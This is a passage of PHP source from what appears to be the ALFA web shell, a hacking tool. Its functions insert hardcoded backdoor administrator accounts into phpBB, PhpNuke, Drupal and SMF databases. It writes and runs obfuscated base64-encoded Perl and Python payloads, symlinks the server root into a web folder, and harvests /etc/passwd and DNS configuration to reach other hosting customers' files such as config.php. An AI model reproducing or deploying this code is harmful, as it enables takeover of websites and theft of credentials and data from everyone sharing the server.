 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,'".$admin."','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','".$SQL."','4')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke'){

echo __pre().'<center><div class="txtfont_header">| PhpNuke |</div><p><p>'.getConfigHtml('phpnuke').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa7'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5($pwd);
$solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal'){

echo __pre().'<center><div class="txtfont_header">| Drupal |</div><p><p>'.getConfigHtml('drupal').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true)
 );
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");
$getDescuid = @mysqli_fetch_assoc($getDescuid);
$getDescuid = $getDescuid['uid'];
$getdescuid = $getDescuid++;
$solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\$S\$DP2y9AbolCBOd\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','solevisible@fbi.gov','filtered_html','1','Europe/Berlin','solevisible@fbi.gov')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select uid from users where name='".$admin."'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis['uid'];
}
$solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES ('".$res."', '3')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}

if(isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf'){

echo __pre().'<center><center><div class="txtfont_header">| SMF |</div><p><p>'.getConfigHtml('smf').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 );
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$admin = $_POST['alfa8'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$setpwAlg = sha1(strtolower($admin) . 'solevisible');
$solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','solevisible@fbi.gov')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
echo "</div>";
alfafooter();
}
function alfaMakePwd(){
	if(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){
		return "/home/{user}/public_html/";
	}
	$document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
	$public = end($document);
	array_pop($document);
	array_pop($document);
	$path = implode("/", $document) . "/{user}/" . $public;
	return $path;
}
function alfaGetDomains($state = false){
	$state = "named.conf";
	$lines = array();
	$lines = _alfa_file('/etc/named.conf');
	if(!$lines){
		$lines = @scandir("/etc/valiases/");
		$state = "valiases";
		if(!$lines){
			$lines = @scandir("/var/named");
			$state = "named";
			if(!$lines && $state){
				$lines = _alfa_file('/etc/passwd');
				$state = "passwd";
			}
		}
	}
	return array("lines" => $lines, "state" => $state);
}
function alfaCreateParentFolder(){
	$parent = $GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__;
	if(!@is_dir($parent)){
		@mkdir($parent, 0755, true);
	}
}
function alfasymlink(){
alfahead();
AlfaNum(9,10);
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
echo '<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symphp\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symperl\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'sympy\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a></h3></center>';
if(isset($_POST['alfa2'])&&($_POST['alfa2']=='symperl'||$_POST["alfa2"]=="sympy")){
	$sympath = alfaMakePwd();
	@mkdir('cgialfa',0755);
	@chdir('cgialfa');
	alfacgihtaccess('cgi');
	$perl = '#!/usr/bin/perl   -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;my $alfa_data="'.__ALFA_DATA_FOLDER__.'";eval(Compress::Zlib::memGunzip(decode_base64("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")));';
	$py = '#!/usr/bin/python'."\nimport zlib, base64\nalfa_data='".__ALFA_DATA_FOLDER__."'\n".'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
	$cginame = "symperl.alfa";
	$source = $perl;
	$lang = "perl";
	if($_POST["alfa2"]=="sympy"){
		$cginame = "pysymlink.alfa";
		$source = $py;
		$lang = "python";
	}
	@__write_file($cginame,$source);
	@chmod($cginame,0755);
	echo __pre();
	$resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true);
	if(strlen($resource) == 0){
		echo AlfaiFrameCreator('cgialfa/'.$cginame);
	}else{
		echo $resource;
	}
}
if(isset($_POST['alfa4']) && $_POST['alfa4']=='SymFile'){
if(function_exists('symlink')||_alfa_can_runCommand(true,true)){
AlfaNum(9,10);
echo __pre().'
<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>
<p><input type="submit" value=" " name="symlink" /></p></form></center>';
$path = $_POST['alfa5'];
$symname = $_POST['alfa6'];
$solevisible58 = $_POST['alfa7'];
if($solevisible58){
$new_name = str_replace(".", "_", basename($symname));
$rand_dir = $new_name.rand(111,9999);
$sym_dir = 'alfasymlinkphp/'.$rand_dir.'/';
@mkdir($sym_dir, 0777, true);
alfacgihtaccess('sym', $sym_dir, $symname);
_alfa_symlink("$path","$sym_dir/$symname");
echo __pre();
echo '<center><b><font color="white">Click >> </font><a target="_blank" href="'.__ALFA_DATA_FOLDER__."/".$sym_dir.'" ><b><font size="4">'.$symname.'</font></b></a></b></center>';
}
}else{echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";}
}
if(isset($_POST['alfa2']) && $_POST['alfa2']=='symphp'){
$cant_symlink = true;
if(function_exists('symlink')||_alfa_can_runCommand(false,false)){
@mkdir('alfasymlink',0777);
alfacgihtaccess('sym','alfasymlink/');
_alfa_symlink('/','alfasymlink/root');
$table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
if(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){
echo "<center>";
$lines = array();
$anony_domains = array();
$anonymous_users = array();
$f_black = array();
$error = false;
$anonymous = false;
$makepwd = "/home/{user}/public_html/";
$domains = alfaGetDomains();
$lines = $domains["lines"];
$state = $domains["state"];
$is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
$can_runcmd = _alfa_can_runCommand(false,false);
if(!$is_posix && !$can_runcmd){
	$anonymous = true;
	$anony_domains = $domains["lines"];
	$lines = _alfa_file('/etc/passwd');
}
echo $table_header;
$count=1;
$template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="'.__ALFA_DATA_FOLDER__.'/alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
foreach($lines as $line){
	$domain = "";
	$owner = "";
	if($anonymous){
		$explode = explode(":", $line);
		$owner = $explode[0];
		$owner_len = strlen($owner) - 1;
		$userid = $explode[2];
		if((int)$userid < 500)continue;
		$domain = "[?????]";
		$temp_black = array();
		$finded = false;
		foreach($anony_domains as $anony){
			if($state == "named.conf"){
				if(@strstr($anony, 'zone')){
					preg_match_all('#zone "(.*)"#',$anony, $data);
					$domain = $data[1][0];
				}else{
					continue;
				}
			}elseif($state == "named" || $state == "valiases"){
				if($anony == "." || $anony == "..")continue;
				if($state == "named")$anony = rtrim($anony, ".db");
				$domain = $anony;
			}
			$sub_domain = str_replace(array("-","."), "", $domain);
			if(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){
				if(in_array($owner.$domain, $temp_black))continue;
				$sympath = str_replace("{user}", $owner, $makepwd);
				$http = "http://".$domain;
				echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
				$count++;
				$temp_black[] = $owner.$domain;
				$finded = true;
			}
		}
		if(!$finded){
			$anonymous_users[] = $owner;
		}
	}else{
 		if($state == "named.conf"){
			if(@strstr($line, 'zone')){
				preg_match_all('#zone "(.*)"#',$line, $data);
				$domain = $data[1][0];
			}else{
				continue;
			}
		}elseif($state == "named" || $state == "valiases"){
			if($line == "." || $line == "..")continue;
			if($state == "named")$line = rtrim($line, ".db");
			$domain = $line;
		}
		if(strlen(trim($domain)) > 2 && $state != "passwd"){
			if(!_alfa_file_exists('/etc/valiases/'.$domain, false))continue;
			if($is_posix){
				$user = @posix_getpwuid(@fileowner('/etc/valiases/'.$domain));
				$owner = $user["name"];
			}elseif($can_runcmd){
				$owner = alfaEx("stat -c '%U' /etc/valiases/".$domain,false,false);
			}
		}
	}
	if(!$anonymous){
		if(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;
		$sympath = str_replace("{user}", $owner, $makepwd);
		$http = "http://".$domain;
		if($state == "passwd"){
			$http = "javascript:alert('we cant find domain...')";
		}
		echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
		$count++;
		$f_black[] = $owner.$domain;
	}
}
if($anonymous){
	foreach($anonymous_users as $owner){
		$sympath = str_replace("{user}", $owner, $makepwd);
		$http = "javascript:alert('we cant find domain...')";
		echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);
		$count++;
	}
}
$cant_symlink = false;
}else{
$is_direct = false;
$makepwd = alfaMakePwd();
if(_alfa_file_exists("/etc/virtual/domainowners")){
	$makepwd = "/home/{user}/public_html";
	$is_direct = true;
}
$sole = _alfa_file("/etc/virtual/domainowners");
$count=1;
echo $table_header;
$template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="'.__ALFA_DATA_FOLDER__.'/alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
if($sole){
	foreach($sole as $visible){
		if(@strstr($visible,":")){
			$solevisible = explode(':', $visible);
			$cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);
			echo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);
		}
	}
}else{
	$passwd = _alfa_file("/etc/passwd");
	if($passwd){
		$html = "";
		$is_named = false;
		$users = array();
		$domains = array();
		$uknowns = array();
		foreach($passwd as $user){
			$user = trim($user);
			$expl = explode(":", $user);
			if((int)$expl[2] < 500)continue;
			$users[$expl[0]] = $expl[5];
		}
		$site_domains = @scandir("/etc/virtual/");
		if(!$site_domains){
			$site_domains = alfaEx("ls /etc/virtual/");
			$site_domains = explode("\n", $site_domains);
			if(!$site_domains){
				$site_domains = _alfa_file("/etc/named.conf");
				if($site_domains){$is_named = true;}
			}
		}
		foreach($site_domains as $line){
			if($is_named){
				if(@strstr($line, 'zone')){
					preg_match_all('#zone "(.*)"#',$line, $data);
					$domain = $data[1][0];
					if(strlen($domain  > 2) && !empty($domain)){
						$domains[] = $domain;
					}
				}
			}else{
				$domains[] = $line;
			}
		}
		$x = 1;
		foreach($users as $user => $home){
			foreach($domains as $domain){
				$user_len = strlen($user) - 1;
				$sub_domain = str_replace(array("-","."), "", $domain);
				$five_user = substr($user, 0,$user_len);
				$five_domain = substr($sub_domain, 0,$user_len);
				if($five_user == $five_domain){
					if($is_direct){
						$cwd = str_replace("{user}", $user, $makepwd);
					}else{
						$expl = explode("}/", $makepwd);
						$cwd = $home."/".$expl[1];
					}
					$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);
				}else{
					$uknowns[$user] = $home;
				}
			}
		}
		$uknowns = array_unique($uknowns);
		foreach($uknowns as $user => $home){
			if($is_direct){
				$cwd = str_replace("{user}", $user, $makepwd);
			}else{
				$expl = explode("}/", $makepwd);
				$cwd = $home."/".$expl[1];
			}
			$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);
		}
		echo($html);
	}
}
echo "</table>";
$cant_symlink = false;
}
}else{
	echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
	$cant_symlink = false;
}
if($cant_symlink)echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>';
echo "</center></table>";
}
echo "</div>";
alfafooter();
}
function alfasql(){
class DbClass{
public $type;
public $link;
public $res;
public $mysqli_connect_error = false;
public $mysqli_connect_error_msg = "";
function __construct($type){
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type){
case 'mysql':
if($this->link = @mysqli_connect($host,$user,$pass,$dbname)){
	return true;
